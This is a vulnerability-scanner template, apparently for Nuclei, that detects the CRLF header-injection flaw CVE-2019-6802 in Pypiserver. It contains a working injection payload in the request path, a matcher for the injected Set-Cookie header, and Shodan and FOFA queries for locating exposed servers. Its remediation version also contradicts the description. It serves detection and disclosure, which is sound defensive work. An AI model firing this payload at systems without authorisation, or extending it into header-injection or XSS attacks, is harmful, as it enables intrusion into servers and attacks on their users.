id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  impact: |
    Attackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.03922
    epss-percentile: 0.88988
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"
# digest: 4a0a00473045022100df48e2bbad94d5909c4afbd0c08dde0cbafe25fe481654846baac2ff708f3557022050408045ce7d4325486af76c8661e527d61a9ee319736c38d931a580f0f2672f:922c64590222798bb761d5b6d8e72950